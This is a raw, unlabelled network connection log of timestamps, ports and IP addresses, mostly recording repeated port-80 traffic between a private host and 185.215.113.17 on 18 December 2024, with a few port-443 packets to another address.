Dec 18, 2024 12:00:31.524480104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.524573088 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.524599075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.524638891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.524785042 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.524868011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.525079012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.525093079 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.525160074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.525518894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.525577068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.525644064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.525722027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.526323080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.526336908 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.526379108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.526431084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.527115107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.527126074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.527199030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.527791977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.527858019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.527905941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.528645992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.528657913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.528703928 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.529354095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.529397964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.529424906 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.529455900 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.530114889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.533220053 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.539058924 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:31.539088964 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:31.539491892 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:31.540960073 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:31.541183949 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:31.541208029 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:31.541364908 CET	49978	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:31.541373014 CET	443	49978	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:31.682451010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.682471991 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.682570934 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.683130026 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.683145046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.683260918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.683394909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.683408976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.683455944 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.683526993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.683641911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.684165001 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.684293032 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.684350014 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.684382915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.684889078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.684993982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.685048103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.685146093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.685662031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.685776949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.685831070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.685868979 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.686470985 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.686561108 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.686795950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.686841011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.687350035 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.687388897 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.687527895 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.687618971 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.688028097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.688064098 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.688172102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.688203096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.688700914 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.688736916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.688745022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.688775063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.689445019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.689486027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.689570904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.689604044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.690311909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.690325022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.690352917 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.690366983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.691000938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.691096067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.691133976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.691726923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.691764116 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.691817999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.691852093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.692429066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.692584038 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.692598104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.692626953 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.693175077 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.693269968 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.693290949 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.693309069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.693994045 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.694087982 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.694147110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.694190025 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.694760084 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.694782019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.694797039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.694809914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.695605040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.695621967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.695662022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.695662022 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.696319103 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.696331024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.696377993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.697027922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.697043896 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.697074890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.697087049 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.697803020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.697818041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.697838068 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.697856903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.698564053 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.698576927 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.698605061 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.698621035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.699331999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.699347019 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.699373960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.699393034 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.700372934 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.700387955 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.700409889 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.700434923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.700828075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.700840950 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.700860023 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.700875998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.701605082 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.701621056 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.701684952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.702388048 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.702404022 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.702426910 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.702447891 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.703166008 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.703181028 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.703202963 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.703222036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.703963041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.703979015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.704003096 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.704019070 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.704582930 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.704598904 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.704618931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.704636097 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.705364943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.705379009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.705399036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.705413103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.706022024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.706057072 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.706238031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.706290960 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.706979036 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.706998110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.707019091 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.707036972 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.707568884 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.707613945 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.708153963 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.708190918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.708406925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.708429098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.708442926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.708456993 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.709073067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.709110975 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.709202051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.709240913 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.709815979 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.709853888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.709888935 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.710033894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.710551977 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.710602999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.710633039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.710661888 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.711502075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.711518049 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.711599112 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.712119102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.712158918 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.712250948 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.712412119 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.712869883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.712912083 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.712968111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.713010073 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.713586092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.713632107 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.713670015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.713706017 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.714517117 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.714562893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.714562893 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.714606047 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.715140104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.715183973 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.715343952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.715491056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.715910912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.715951920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.716018915 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.716059923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.716706038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.716721058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.716747046 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.716759920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.717365980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.717413902 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.717453957 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.717490911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.718172073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.718250036 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.718266964 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.718314886 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.718991041 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.719028950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.719104052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.719142914 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.719715118 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.719731092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.719760895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.719856024 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.720535040 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.720556021 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.720581055 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.721287966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.721302032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.721328020 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.721349001 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.873653889 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.873842955 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.873907089 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.874036074 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.874363899 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.874471903 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.874505043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.874556065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.874752998 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.874806881 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.874936104 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.875212908 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.875396013 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.875480890 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.875515938 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.875554085 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.876034975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.876115084 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.876143932 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.876254082 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.876787901 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.876825094 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.876883030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.877510071 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.877614975 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.877624989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.877712965 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.878294945 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.878385067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.878470898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.879107952 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.879184008 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.879265070 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.879302025 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.879813910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.879878998 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.879976988 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.880026102 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.880593061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.880647898 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.880697012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.880737066 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.881309032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.881464005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.881479025 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.881519079 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.882147074 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.882241011 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.882277012 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.882323027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.882841110 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.882886887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.882924080 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.882961988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.883807898 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.883856058 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.883892059 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.883975029 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.884598970 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.884613037 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.884686947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.885394096 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.885406017 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.885497093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.886137009 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.886236906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.886327028 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.886846066 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.886893988 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.886955976 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.887126923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.887684107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.887696981 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.887814045 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.888392925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.888463974 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.888497114 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.888535976 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.889170885 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.889187098 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.889283895 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.889834881 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.890008926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.890043020 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.890197039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.890690088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.890825033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.890839100 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.891060114 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.891385078 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.891401052 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.891450882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:31.892205954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:31.892225981 CET	80	49913	185.215.113.17	192.168.2.6
